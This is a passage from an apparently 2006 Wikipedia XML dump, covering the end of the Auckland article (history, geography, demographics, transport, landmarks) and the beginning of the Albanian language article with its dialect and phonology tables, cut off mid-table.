A Russian scare at the end of the century caused coastal guns to be bought and fortifications built, notably at [[Devonport, New Zealand|Devonport]] and on [[Waiheke Island]], where they can still be seen.

By 1900 Auckland was the largest New Zealand city.

In World War II the city was overflown by a Japanese seaplane, chased ineffectually by a [[Royal New Zealand Air Force]] [[De Havilland Tiger Moth]].

In the 1950s [[Auckland Harbour Bridge]] was constructed, linking [[North Shore, New Zealand|North Shore]] with the city. 

As flying boat services from [[Mechanics Bay]] and [[Hobsonville]] by aircraft such as the [[Short Solent]] and [[Short Sunderland]] were replaced by landplanes, an airport was opened at [[Mangere]], supplanting earlier airfields at [[Ardmore, New Zealand|Ardmore]] and [[Whenuapai]].

[[Image:Auckland-aerialview.jpg|400px|right|thumb|An aerial view of the central city]]
Following the initiative of [[Michael Joseph Savage]]'s [[New Zealand Labour Party]] large numbers of state houses were constructed through the late 1930s, '40s and '50s, usually on quarter-acre (1,000 m&amp;sup2;) sections - a tradition that survives despite frequent subdivision. Auckland is a largely suburban city: although it has not much more than a seventh of the population of London, it sprawls over a considerably larger area - a fact that serves to make public transport by Auckland's rail and bus systems unpopular and uneconomic.

All four electrical power cables supplying the Central Business District failed on [[20 February]] [[Timeline of New Zealand history#1990s|1998]], causing the [[1998 Auckland power crisis]]. It took five weeks before an emergency overhead cable was completed to restore the power supply to the Central Business District. For much of that time, about 60,000 of the 74,000 people who worked in the area worked from home or from relocated offices in the suburbs. Many of the 6,000 apartment dwellers in the area had to find alternative accommodation.

== Geography and climate ==
=== Volcanoes ===
[[Image:Auckland_Rangitoto_n.jpg|thumb|left|150px|Approaching Rangitoto Island from Auckland]]Auckland straddles the [[volcano]]es of the [[Auckland Volcanic Field]]. The 50 volcanic vents in the field take the form of cones, lakes, lagoons, islands and depressions. Some of the cones have been partly or completely quarried away. The volcanoes are all individually extinct although the volcanic field itself is merely dormant. The most recent and by far the largest volcano, [[Rangitoto Island]], was formed within the last 1000 years. 'Rangi' means 'sky' and 'toto' means 'blood', which indicates it was named by Māori who had witnessed its eruption. Its size, its symmetry, its position guarding the entrance to [[Waitemata Harbour]] and its visibility from many parts of the Auckland region make it Auckland's most iconic natural feature.  Rangitoto is eerily quiet as almost no birds and insects have settled on the island because of the rich acidic soil and type of flora that has adapted to grow out of the black broken rocky soil.

===Isthmus and harbours===
[[Image:AucklandAcrossTheWater_2004_SeanMcClean.jpg|thumb|250px|Auckland CBD From Across the Water]]
Auckland lies on and around an [[isthmus]], less than two km wide at its narrowest point, between [[Mangere Inlet]] and [[Tamaki River]].  There are two harbours in the Auckland urban area surrounding this isthmus, [[Waitemata Harbour]] to the north, which opens east to the [[Hauraki Gulf]], and [[Manukau Harbour]] to the south, which opens west to the [[Tasman Sea]].  

Bridges span both of these harbours, [[Auckland Harbour Bridge]] on Waitemata Harbour and [[Mangere Bridge]] on Manukau Harbour.

=== Climate ===
Auckland has a warm-temperate climate, with warm, humid summers and cool but damp and lengthy winters.  January temperatures average 21-24 [[Celsius|&amp;#176;C]]. February and March are typically warmer than January, and July maximum temperatures average 14-16 &amp;#176;C. High levels of rainfall occur almost year-round (over 1100 mm per year), especially in winter. Climatic conditions vary in different parts of the city owing to geography such as hills, trees and ocean wind currents. Snow has never been recorded in Auckland, although a heavy hailstorm in the 1950s was mistaken for snow by many residents, unlike some [[South Island]] cities which may get snow most years. It has snowed north of Auckland, at [[Kaikohe]].

== People ==
* ''See also:'' [[Culture of New Zealand]]

===Cultures===
Auckland serves as a home to many cultures. The majority of inhabitants claim European &amp;mdash; predominantly British &amp;mdash; descent, but substantial [[Māori]], [[Pacific Islander]] and [[Asian]] communities exist as well.  Auckland has the largest [[Polynesia]]n population of any city in the world.  An almost equally large proportion of the population is made up of people of [[Asian]] origin (mainly [[East Asian]]).  This is due to New Zealand's world-leading level of immigration, which flows primarily into Auckland. Ethnic groups from all corners of the world have a presence in Auckland, making it by far the country's most [[cosmopolitan]] city. It is estimated that over 14 people from other countries immigrate to Auckland every day.

[http://www.stats.govt.nz/census/default.htm 2001 New Zealand Census] showed that:
*66.9% of people in the Auckland Urban Area belong to the [[European]] ethnic group.
*14.9% of people in the Auckland Urban Area belong to the [[Polynesia]]n ethnic group.
*14.6% of people in the Auckland Urban Area belong to the [[Asian]] ethnic groups.
*11.5% of people in the Auckland Urban Area belong to the [[Māori]] ethnic group.

(Note that these percentages do not add up to 100%, some people belong to more than one ethnic group).

===Religion===
Like the rest of the country, more than half of Aucklanders are nominally [[Christianity|Christian]], but fewer than 10% regularly attend church and almost 40% profess no religious affiliation (2001 census figures). The main denominations are [[Anglican]], [[Presbyterian]] and [[Roman Catholic]]. [[Pentecostalism|Pentecostal]] and [[charismatic]] churches are the fastest growing. The charismatic and [[Fundamentalist Christianity|fundamentalist]] [[Destiny Church, New Zealand|Destiny Church]], headquartered in Auckland, has gained headlines because of its political activities. A higher percentage of [[polynesia|Polynesian]] immigrants are regular churchgoers than other Aucklanders, although church attendance drops off in second- or third-generation Polynesian Aucklanders. Other immigrant cultures have added to the religious diversity of the city, bringing traditions such as [[Buddhism]], [[Hinduism]] and [[Islam]]. There is also a small, long-established [[Judaism|Jewish]] community. There is an even smaller [[Rationalist]] group.  Western Central Auckland, particularly [[Mount Roskill]], has been labelled the 'Bible Belt'.

===Social perceptions===
Aucklanders are viewed with varying degrees of dislike by some New Zealanders living outside Auckland. One perception of Aucklanders is that they are rich latte-sipping [[yuppie|yuppies]], with trendy but impractical political views. Some claim jokingly that Aucklanders think that &quot;New Zealand stops at the [[Bombay Hills, New Zealand|Bombay Hills]]&quot;, the Bombay Hills forming the Auckland region's southern boundary. Some people living south of the hills agree with the statement, but regard &quot;true&quot; New Zealand as lying south, not north, of the hills. The word [[Jafa]] was coined as an [[insult]]ing [[nickname]] for Aucklanders, but Aucklanders have robbed the word of its sting by enthusiastically embracing it. 

''See the [[Jafa]] article for more on outsiders' attitudes.''

There are stereotypes about residents in some parts of Auckland. These stereotypes can be a badge of honour, or an insult, depending on how they are used, and by whom.

* [[Westies (people)#Auckland|Westies]] - people living in the western suburbs of Auckland, particularly those of [[Waitakere City]], from [[Henderson, New Zealand|Henderson]] to the [[Waitakere Ranges]]. As a derogatory term, &quot;westie&quot; is similar to [[bogan]], [[trailer trash]] or [[chav]].
* [[South Auckland]]ers - people who live at the southern end of the city; the term is predominantly used to refer to a low socio-economic group with a high unemployment rate and a large population of [[Pacific Island]]ers, although there are quite a few affluent areas in South Auckland.
* [[East Auckland]]ers - residents in the eastern suburbs of the [[Auckland isthmus]], including a large Asian (Chinese) population in [[Howick]] and surrounding areas.
*Shoreboy/girl - someone from the [[North Shore, New Zealand|North Shore]]. Generally perceived as 'spoilt rich kids' since the area is quite affluent. The term is somewhat analogous to the stereotype of the [[Valley girl]] in [[Los Angeles]], though not as extreme.
*[[Parnell]] Girl - the [[old money]] equivalent of the more [[nouveau riche]] Shore Girl. Characterised by a blonde bob and expensive fashions, and parents who live in affluent inner city suburbs such as [[Parnell]] or [[Remuera]]. The stereotype is along the lines of the [[Sloane Ranger]] in [[London]], though, again, less extreme.

== Lifestyle ==
Attractive aspects of Auckland life are its mild climate, plentiful employment and educational opportunities, and numerous leisure facilities. For quality of life, Auckland currently ranks eighth equal behind [[Zurich]] and [[Geneva]] in a survey of the world's top 55 cities. (Link: [http://www.citymayors.com/features/quality_survey.html Mercer Consulting quality of life survey])

===Leisure===
[[Image:Auckland-CityOfSails.jpg|250px|right|thumb|City Of Sails]]
Auckland is popularly known as the &quot;City of Sails&quot; because the harbour is often dotted with hundreds of yachts. [[Viaduct Basin]] hosted two [[America's Cup]] challenges, and its cafes, restaurants, and clubs add to Auckland's vibrant nightlife. High Street, [[Queen Street, Auckland|Queen Street]], Ponsonby Road, and [[Karangahape Road]] are also very popular with urban socialites. [[Newmarket, New Zealand|Newmarket]] and Parnell are upmarket shopping centres. [[Otara]]'s and [[Avondale]]'s famous fleamarkets and Victoria Park Market are a colourful alternative shopping experience.

Waitemata Harbour has popular beaches at [[Mission Bay, New Zealand|Mission Bay]], [[Devonport, New Zealand|Devonport]], [[Takapuna]], Long Bay and Maraetai, and the west coast has popular surf spots at [[Piha]] and [[Muriwai]]. Many Auckland beaches are patrolled by [[Surf Lifesaving]] clubs which are part of the  [[Surf Lifesaving Northern Region]].

Pleasant ferry trips go to Devonport, [[Waiheke Island]] and Rangitoto Island.  Pleasant picnic spots are at [[Auckland Domain]], [[Albert Park, Auckland|Albert Park]], [[One Tree Hill, New Zealand|One Tree Hill Domain]] and [[Western Springs]]. Auckland has its fair share of rugby and cricket grounds (notably [[Eden Park]]), and venues for motorsports, tennis, badminton, swimming, soccer, rugby league, and many other sports. 

Every year in March, an 8.4-km (5.2-mile) [[road running|fun-run]] known as &quot;Round the Bays&quot; starts in the city and goes along the waterfront to the suburb of [[St Heliers, New Zealand|St Heliers]]. It attracts many tens of thousands of people and has been an annual event since [[Timeline of New Zealand history#1970s|1972]].

The Auckland Town Hall and Aotea Centre host conferences and cultural events such as theatre, [[kapa haka]], and opera. Many national treasures are displayed at the [[Auckland Art Gallery]], such as the work of [[Colin McCahon]]. Other significant cultural artefacts reside at the [[Auckland War Memorial Museum]], the [[New Zealand National Maritime Museum|National Maritime Museum]], and the [[Museum of Transport and Technology]] (MOTAT). Exotic creatures can be observed at the [[Auckland Zoo]] and [[Kelly Tarlton's Underwater World]]. Movies and rock concerts (notably, the &quot;[[Big Day Out]]&quot;) are also well patronised.

===Work===
[[Image:nz-auckland1.JPG|250px|right|thumb|Auckland [[CBD]] from [[Sky Tower]].]]
Every business day, many professional workers commute from all points of the city to downtown Auckland. Most major international corporations have an Auckland office. The most expensive office space is around lower Queen Street and the Viaduct Basin. A large proportion of the technical and trades workforce is based in the industrial zones of [[South Auckland]].

===Housing===
The most common residence of Aucklanders is a bungalow on a &quot;[[Quarter Acre|quarter acre]]&quot; (1,000 m&amp;sup2;), with the resulting large urban sprawl and reliance on motor vehicles. The regional council is trying to curb this trend, with housing density strategies such as more townhouses and apartments, and prohibiting subdivision of properties on the city fringes.

== Transport ==
[[Image:DowntownAucklandNight.jpg|thumb|200px|left|Downtown Auckland at night.]]

=== Road and rail ===
Auckland has a significant traffic congestion problem. An extensive [[motorway]] network, planned decades ago during the height of the road building era, remains incomplete as of 2006. It is unlikely that this original plan will ever be built in its entirety because it is not economically viable anymore, however a number of crucial gaps do exist in the current network. Since 2001, several motorway construction projects began in and around the Central Motorway Junction (&quot;Spaghetti Junction&quot;), while new routes are underway in the southwest of the city and along the upper harbour. Transport funding favours roads over public transport in Auckland, and indeed in New Zealand, and the planned motorway network is large for a city of Auckland's size.

[[Image:CMJ.jpg|350px|thumb|The completed central motorway junction]]
Most of Central Motorway Junction is completed, with the whole junction being completed by the end of 2006. [http://www.aucklandmotorways.co.nz]

The [[Britomart Transport Centre]] which opened in July 2003 is a central interconnection point for buses, trains and ferries. During its planning period it provoked much controversy spanning multiple mayoral terms.

During the 2001-2004 term the mayors of Auckland City and Manukau, [[John Banks (New Zealand)|John Banks]] and Sir Barry Curtis respectively, strongly advocated a proposal for an [[Eastern Transport Corridor]], essentially a new motorway. Vociferous campaigners both supported and opposed the NZ$4 billion proposal throughout the term. John Banks subsequently lost the 2004 local body election, chiefly due to public opposition to the proposed motorway. The newly-elected Auckland City Council has a clear centre-left majority, and new Deputy Mayor Bruce Hucker announced in early November 2004 a major change in direction for Auckland City. 

Bus services provide the bulk of public transport, with commuter trains offering a limited service. However, recent investment in train services resulted in increased patronage of these services. The investment has focused on upgrading and refurbishing the current rolling stock and railway stations. Investment in new rail infrastructure remains limited, but there are signs this is changing. A recent project to double-track the western rail line, completed at a cost of  NZD$23.2 million, has increased the frequency of train services on this line. Plans for [[light rail]], mooted over the years, seem unlikely to proceed. The local government elections in September 2004 centred largely around candidates' policies on public transport, with the incumbent Auckland City mayor John Banks promoting the &quot;Eastern Corridor&quot; motorway plan, and his main rivals (former Auckland City mayor [[Christine Fletcher]] and  [[businessman]] [[Dick Hubbard]] &amp;ndash; the eventual winner) supporting public transport alternatives like light rail and improving existing bus and rail services.

Auckland City Council has prepared plans for an underground railway connecting the Britomart Transport Centre to the western railway line. However due to the significant costs associated with a project of this size, and the prevailing attitudes towards public transport, it may be some time before the project begins. Increased population density around transport corridors and sustained inflated petrol prices may combine to make this project more attractive in the medium term. Also, recent patronage jumps in response to remedial improvements to the existing diesel powered rail network have resulted in greater support for plans for electrification, signal upgrades, station improvements and network expansion.

=== Airports ===
[[Auckland International Airport]], New Zealand's largest airport, lies beside [[Manukau Harbour]], in the southern suburb of [[Mangere]], which is part of [[Manukau]]. It is a major base for [[Air New Zealand]].  Ongoing negotiations concern the development of a second airport at [[Whenuapai]], a [[RNZAF]] airbase in [[Waitakere]], to the northwest of the Auckland conurbation. As the air force is signalled to move to [[Ohakea]] base near [[Palmerston North]], the feasibility of an international airport north of the city is being explored. Many private flights use the smaller airfield at [[Ardmore, New Zealand|Ardmore]], south of the city but within the Auckland region.  [[Dairy Flat]] to the north is used by light planes and some warbird enthusiasts.  [[Mechanics Bay]] near the city centre, was the first international airport, used for many years as a base for flying boats of [[TEAL]] and amphibians of [[Tourist Air Travel]] and [[Sea Bee Air]].  It is now primarily used as a Heliport.  A similar air force facility at [[Hobsonville]] has been sold to private boat builders.

=== Ferries ===
[[Image:Auckland_Ferry_Terminal_n.jpg|thumb|200px|left|The Auckland Ferry Terminal]]A feature of Auckland transport is the popularity of commuting by ferry. North Shore residents avoid the chronic Harbour Bridge congestion by catching ferries from Devonport, Bayswater or Stanley Bay to the CBD. Ferries also connect the city with [[Rangitoto Island|Rangitoto]] and [[Waiheke Island]]s, and with Half Moon Bay.

== Landmarks and places ==
[[Image:Auckland_tower.jpg|thumbnail|201px|right|[[Sky Tower|Auckland Sky Tower]] ]]
* Auckland's [[Sky Tower]], the tallest free-standing structure in the [[Southern Hemisphere]], stands 328 m tall.
* [[Mount Eden]]'s summit arguably offers Auckland's best views. It is the highest point in Auckland. However, there is local concern about the environmental impact the large numbers of tourist buses are having on the cone - they're said to be literally (if slowly) squashing it.
* [[One Tree Hill, New Zealand|One Tree Hill]] (Maungakiekie) - a volcanic cone which dominates the skyline in the southern inner suburbs. It no longer has a tree on top.
* [[Mount Victoria, Auckland|Mount Victoria]] although slightly out-of-the-way for the casual tourist, offers a spectacular view of the city. A brisk walk from the Devonport Ferry terminal, the cone is steeped in history as is the nearby North Head.
* [[Rangitoto Island]] - guards the entrance to Waitemata Harbour, and forms a prominent feature on the eastern horizon.
* [[Eden Park]] - the city's primary [[stadium]] and a frequent home for [[All Blacks]] [[rugby union|rugby]] and [[New Zealand cricket team|Black Caps]] [[cricket]] matches.
* [[Ericsson Stadium]] - a stadium used mainly for [[rugby league]] and [[football (soccer)|soccer]] matches.
* [[Western Springs Stadium]] - a natural [[amphitheatre]] used mainly for [[Race track|speedway]] races and [[rock (music)|rock]] and [[pop (music)|pop]] [[concert]]s.
* [[Aotea Square]], [[Queen Street, Auckland|Queen Street]] and [[Karangahape Road]]-  the hub of downtown Auckland.
* [[Auckland Harbour Bridge]] - connecting Auckland and the [[North Shore, New Zealand|North Shore]], is an iconic symbol of Auckland.
* [[Viaduct Basin]] - Marina in downtown Auckland, venue for the America's Cup regatta 2000 and 2003. It is now a thriving commercial centre. 
* [[Botany Town Centre, Howick]] - a complete shopping complex, one of the largest in Auckland including a cinema, bowling alley, food court and many shops to visit. 

&lt;!--=== Tourist attractions ===
{{sectstub}} --&gt;

&lt;!--=== Parks and reserves ===
{{sectstub}} --&gt;
[[Image:Auckland_pan_view_from_mount_eden.jpg|thumb|none|560px|Panoramic view over Auckland from Mount Eden]]

== See also ==
*[[Auckland City]], the territorial authority covering Auckland isthmus
*[[University of Auckland]]
*[[Auckland Grammar School]], one of New Zealand's most prestigious and controversial schools
*[[Auckland (region)]], about the territorial authority of Auckland Region
*[[George Eden, 1st Earl of Auckland]]

== External links ==
*Auckland City Council: [http://www.aucklandcity.govt.nz/ aucklandcity.govt.nz]
*Tourism Auckland: [http://www.aucklandnz.com/ aucklandnz.com], [http://www.auckland-life.com/ auckland-life.com]
*Leisure &amp; Lifestyle: [http://www.searchauckland.co.nz/ 1], [http://www.auckland-life.com 2], [http://www.zeal.com/category/preview.jhtml?cid=10101744 3], [http://www.nz.co.nz/nz/skyscroll/default.asp 4], [http://auckland.wiki.org.nz/ 5]
*Street maps: [http://www.wises.co.nz 1], [http://www.nzmaps.co.nz 2]
*Healthcare: [http://www.adhb.govt.nz/ Auckland], [http://www.whl.co.nz/ Waitemata], [http://www.cmdhb.govt.nz/ Counties Manukau]
*News: [http://www.nzherald.co.nz/ nzherald.co.nz]
*Transport: [http://www.rideline.co.nz/ Buses &amp; trains], [http://traffic.transit.govt.nz/ Traffic-cams], [http://www.auckland-airport.co.nz/ Airport], [http://www.aucklandmotorways.co.nz/ Motorway Info]

==References==
*[http://www2.stats.govt.nz/domino/external/web/CommProfiles.nsf/FindInfobyArea/514500-au New Windsor community profile]
*{{cite web | author=Bernard John Foster, M.A., | title=TE KAWAU, Apihai | work=Te Ara: The Encyclopedia of New Zealand | url=http://www.teara.govt.nz/1966/K/TeKawauApihai/TeKawauApihai/en |accessdate=12 October | accessyear=2005 }}
*{{cite web | title=Ngati Whatua | work= Te Ara: The Encyclopedia of New Zealand | url=http://www.teara.govt.nz/NewZealanders/MāoriNewZealanders/NgatiWhatua/4/en| accessdate=12 October | accessyear=2005 }}
*{{cite web | title=The Founding of Auckland | work= Ngati Whatua history of Auckland - Auckland City Council | url=http://www.aucklandcity.govt.nz/auckland/introduction/ngatiwhatua/default.asp| accessdate=22 October | accessyear=2005 }}.
*{{cite book | author= Gordon McLauchlan| title= The Illustrated encyclopedia of New Zealand | publisher = David Bateman Ltd, Glenfield, NZ | year= 1992| id=ISBN 1 86953 007 1}}

{{commons|Auckland}}

[[Category:Auckland| ]]
[[Category:Cities and towns in New Zealand]]
[[Category:Coastal cities]]
[[Category:Host cities of the Commonwealth Games]]
[[Category:Isthmuses]]

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[[eo:Auckland]]
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[[ko:오클랜드 (뉴질랜드)]]
[[mi:Tāmaki Makaurau]]
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[[zh:奧克蘭]]</text>
    </revision>
  </page>
  <page>
    <title>Albanian language</title>
    <id>3002</id>
    <revision>
      <id>42122013</id>
      <timestamp>2006-03-03T23:38:30Z</timestamp>
      <contributor>
        <username>Steppenfox</username>
        <id>251258</id>
      </contributor>
      <comment>/* Vocabulary */ disambiguation roma gypsies</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Albanian
|nativename=''Shqip''
|pronunciation=/ʃcip/
|states=[[Albania]], [[Serbia and Montenegro]], [[Republic of Macedonia]], [[Greece]], [[Turkey]], [[Italy]], and other countries
|region=[[Southeastern Europe]]
|speakers=6,169,000 (Ethnologue, 2000)
|familycolor=Indo-European
|script=[[Latin alphabet]] ([[Albanian alphabet|Albanian variant]])
|nation=[[Albania]], [[Kosova]] ([[Serbia and Montenegro]]), parts of the [[Republic of Macedonia]]
|iso1=sq|iso2b=alb|iso2t=sqi
|lc1=sqi|ld1=Albanian (generic)|ll1=none
|lc2=aln|ld2=Gheg|ll2=Gheg language
|lc3=aae|ld3=Arbëreshë|ll3=Arbëreshë#Language
|lc4=aat|ld4=Arvanitika|ll4=Arvanitic language
|lc5=als|ld5=Tosk|ll5=Tosk language}}

'''Albanian''' (gjuha shqipe /{{IPA|ˈɟuˌha ˈʃciˌpɛ}}/) is a language spoken by over 8 million people primarily in [[Albania]], [[Kosovo]], and the former Yugoslav [[Republic of Macedonia]] but also by smaller numbers of [[ethnic Albanians]] in other parts of the [[Balkans]], along the eastern coast of [[Italy]] and in [[Sicily]], as well as by emigrant groups in [[Scandinavia]], [[Germany]], [[Greece]] the [[UK]], [[Egypt]], [[Turkey]], and the [[United States|USA]]. The language forms its own distinct branch of the [[Indo-European]] [[language family]].

==Classification==
Albanian was proven to be an [[Indo-European languages|Indo-European]] language in [[1854]] by the German philologist [[Franz Bopp]]. The Albanian language is its own independent branch of the Indo-European language family with no living close relatives. There is no scholarly consensus over its origin. Some scholars maintain that it derives from the [[Illyrian language]], and others claim that it derives from [[Thracian language|Thracian]]. The former group doesn't exclude a relationship with Thracian, but this question is often loaded with political implications.

===How Albanian compares with other languages===
{|border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot; class=&quot;wikitable&quot;
!Albanian !! muaj !! i ri !! mëmë/nânë/mama !! natë !! hundë !! tre !! zi !! kuq !! verdhë !! gjelbër
|-
! colspan=&quot;11&quot; style=&quot;text-align:center; background:#dedede&quot;| Other [[Indo-European language]]s
|-
| '''[[English language|English]]''' || month || new || mother || night || nose || three || black || red || yellow || green
|-
| '''[[Latin language|Latin]]''' || mensis || novus || mater || nox || nasus || tres || āter/niger || ruber || flāvus/gilvus/fulvus || viridis
|-
| '''[[Italian language|Italian]]''' || mese || nuovo || madre || notte || naso || tre || nero || rosso || giallo || verde
|-
| '''[[German language|German]]''' || Monat || neu || Mutter || Nacht || Nase || drei || schwartz || rot || gelb || grün
|-
| '''[[Romanian language|Romanian]]''' || luna || nou/noi || mama || noapte || nas || trei || negru || roşu || galben || verde
|-
| '''[[Welsh language|Welsh]]''' || mis || newydd || mam || nos || trwyn || tri || du (/di/) || coch || melyn || gwyrdd
|}

Note: How close &quot;red&quot; and &quot;black&quot; are to Welsh, a Celtic language.

Note: The roots for &quot;yellow&quot; and &quot;green&quot; are very similar to the Romanian for &quot;green&quot; and &quot;yellow&quot;. Does this show a similarity with Latin or with other languages of the [[Balkans]] such as [[Dacian language|Dacian]]? The separation must have occured when &quot;green&quot; and &quot;yellow&quot; were not considered distinct colours much as we consider both &quot;turquoise&quot; (cyan) and &quot;indigo&quot; (primary blue) to be &quot;blue&quot;.

==Geographic distribution==
[[Image:Albanian language map.jpg|thumb|300px|Albanian distribution and dialects]]
Albanian is spoken by about 6 million people mainly in [[Albania]] and [[Kosovo]] but also in many other countries, including the [[Republic of Macedonia]], [[Belgium]], [[Egypt]], [[Germany]], [[Greece]], [[Italy]], [[Sweden]], [[Turkey]] ([[Europe]]), [[Ukraine]], the [[UK]] and USA.

===Official status===
Albanian in the [[Tosk]] dialect is the [[official language]] of the [[Republic of Albania]]. Albanian is also one of the official languages of [[Kosovo]], Montenegro, and the [[Republic of Macedonia]]

===Dialects===
There are two principal [[dialects]], [[Tosk Albanian|Tosk]] (Toskërishte) and [[Gheg Albanian|Gheg]] (Gegërishte), which have been diverging for at least a millennium, and their less extreme forms are mutually intelligible. A subgroup of dialects deriving from Tosk are spoken by descendants of [[15th century|15th]] and [[16th century]] immigrants in southeastern [[Italy]], in small communities in the provinces of [[Sicily]], [[Calabria]], [[Basilicata]], [[Campania]], [[Molise]], [[Abruzzi]], and [[Puglia]], is called [[Arbëreshë]], and a further group of varying intelligibility dialects, are spoken in [[Greece]], by descendents of [[Orthodox Christian]] [[13th century|13th]] and [[15th century]] immigrants in [[Attica]], [[Boeotia]], southern [[Evia]], the island of [[Salamina]], in the [[Epirus]] region and in [[Athens]]. The geographical border between the two dialect groups spoken within Albania proper, has traditionally been the [[Shkumbin River]] in Albania, with Gheg being spoken north of the river, and Tosk south of the river. The two dialects have [[phonology|phonological]] as well as [[lexicon|lexicological]] differences.

Tosk is furthermore divided into many mutually intelligible sub-dialects, which either belong to the ''Labërishte'' sub-group or the ''Çamërishte'' sub-group, including north-western Greece, but not to be confused with the [[Arvanites]]. This dialect is spoken by most members of the large Albanian immigrant communities that have recently arrived in these two countries, and in smaller Albanian communities in [[Ukraine]], [[Turkey]], [[Egypt]], and [[United States]].

Gheg (or Geg) is divided into many mutually intelligible sub-dialects, which either belong to the Northern Gheg sub-group or the Southern-Gheg sub-group, the traditional border between the two being the [[Mati River]] in northern [[Albania]]. This dialect is spoken in northern Albania and by the Albanians of [[Serbia and Montenegro]] (Southern Montenegro and Southern Serbia), the UN protectorate of [[Kosovo]], as well as those of the [[Republic of Macedonia]].

Since after [[World War II]] there have been efforts to create a ''Standard'' or ''Literary'' Albanian that borrows most heavily from the Tosk dialect (at the behest of the dictator [[Enver Hoxha]], himself a Tosk speaker). The Congress on the Orthography of Albanian, held in 1972 with the additional participation of delegates from the Yugoslav territories of Kosovo, Macedonia and Montenegro and Calabria (Italy), established a unified literary language. The resulting orthographic rules were codified in such tomes as ''Drejtshkrimi i gjuhës shqipe (1973)'' (The Orthography of the Albanian Language) and ''Fjalori drejtshkrimor i gjuhës shqipe (1976)'' (The Orthographic Dictionary of the Albanian Language).

====Notable lexicological differences between Tosk and Gheg====
{|border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot; class=&quot;wikitable&quot;
!Standard form !! Tosk form !! Gheg form !! Translation
|-
| Shqipëri || Shqipëri || Shqypni || Albania
|-
| është || është || âsht || is
|-
| bëj || bëj || bâj || do
|-
| emër || emër || êmën || name
|-
| pjekuri || pjekuri || pjekuni || maturity
|-
| gjendje || gjëndje || gjêndje || situation
|-
| zog || zok || zog || bird
|-
| mbret || mbret || mret || king
|-
| për të punuar || për të punuar || me punue || to work
|-
| rërë || rërë || rânë || sand
|-
| qenë || qënë || kenë/kânë || been (part.)
|}
(ˆ) denotes [[nasal vowel]]s, which are a common feature of Gheg.

==Sounds==
Albanian has 7 [[vowel]]s and 29 [[consonant]]s. [[Gheg Albanian|Gheg]] has a set of [[nasal vowel]]s which are absent in [[Tosk Albanian|Tosk]]. Another peculiarity is the mid-central vowel &quot;ë&quot; reduced at the end of the word. Two dental fricatives exist (/{{IPA|ð}}/ and /{{IPA|θ}}/) and the sounds r and l can be weak or strong. The original [[Indo-European]] phonetic system was destroyed in Albanian after diphthongs disappeared, and unstressed vowels were dropped. The stress is fixed mainly on the penultimate syllable.
===Consonants===
{|class=&quot;wikitable&quot;
! &amp;nbsp;
![[bilabial consonant|bilabial]]
![[labiodental consonant|labio-&lt;br /&gt;dental]]
![[interdental consonant|dental]]
![[alveolar consonant|alveolar]]
![[palato-alveolar consonant|post-&lt;br /&gt;alveolar]]
![[palatal consonant|palatal]]
![[velar consonant|velar]]
![[glottal consonant|glottal]]
|-
|'''[[plosive consonant|plosive]]'''
| style=&quot;text-align:center;&quot;|{{IPA|p&amp;nbsp;&amp;nbsp;b}}
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot; |{{IPA|t&amp;nbsp;&amp;nbsp;d}}
| &amp;nbsp;
| style=&quot;text-align:center;&quot;|{{IPA|c&amp;nbsp;&amp;nbsp;ɟ}}
| style=&quot;text-align:center;&quot;|{{IPA|k&amp;nbsp;&amp;nbsp;g}}
| &amp;nbsp;
|-
|'''[[nasal consonant|nasal]]'''
| style=&quot;text-align:center;&quot;|{{IPA|m}}
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot; |{{IPA|n}}
| &amp;nbsp;
| style=&quot;text-align:center;&quot;|{{IPA|ɲ}}
| &amp;nbsp;
| &amp;nbsp;
|-
|'''[[flap consonant|flap]]'''
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot; |{{IPA|ɾ&amp;nbsp;&amp;nbsp;r}}
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
|-
|'''[[fricative consonant|fricative]]'''
| &amp;nbsp;
| style=&quot;text-align:center;&quot;|{{IPA|f&amp;nbsp;&amp;nbsp;v}}
| style=&quot;text-align:center;&quot;|{{IPA|θ&amp;nbsp;&amp;nbsp;ð}}
| style=&quot;text-align:center;&quot;|{{IPA|s&amp;nbsp;&amp;nbsp;z}}
| style=&quot;text-align:center;&quot;|{{IPA|ʃ&amp;nbsp;&amp;nbsp;ʒ}}
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot;|{{IPA|h}}
|-
|'''[[affricate consonant|affricate]]'''
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot; |{{IPA|ts&amp;nbsp;&amp;nbsp;dz}}
| style=&quot;text-align:center;&quot; |{{IPA|tʃ&amp;nbsp;&amp;nbsp;dʒ}}
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
|-
|'''[[approximant]]'''
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot;|{{IPA|j}}
| &amp;nbsp;
| &amp;nbsp;
|-
|'''[[lateral consonant|lateral approximant]]'''
| &amp;nbsp;
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot; |{{IPA|l}}
| &amp;nbsp;
| &amp;nbsp;
| style=&quot;text-align:center;&quot; |{{IPA|ɫ}}
| &amp;nbsp;
|}

{|border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot; class=&quot;wikitable&quot;
![[International Phonetic Alphabet|IPA]] !! Description !! Written as !! Pronounced as in
|-
| {{IPA|p}} || [[Voiceless bilabial plosive]] || p || {{bold dark red|p}}en
|-
| {{IPA|b}} || [[Voiced bilabial plosive]] || b || {{bold dark red|b}}at
|-
| {{IPA|t}} || [[Voiceless alveolar plosive]] || t || {{bold dark red|t}}an
|-
| {{IPA|d}} || [[Voiced alveolar plosive]] || d || {{bold dark red|d}}ebt
|-
| {{IPA|c}} || [[Voiceless palatal plosive]] || q || similar to {{bold dark red|k}}eep
|-
| {{IPA| ɟ}} || [[Voiced palatal plosive]] || gj || similar to {{bold dark red|g}}eek
|-
| {{IPA|k}} || [[Voiceless velar plosive]] || k || {{bold dark red|c}}ar
|-
| {{IPA|g}} || [[Voiced velar plosive]] || g || {{bold dark red|g}}o
|-
| {{IPA|ts}} || [[Voiceless alveolar affricate]] || c || ha{{bold dark red|ts}}
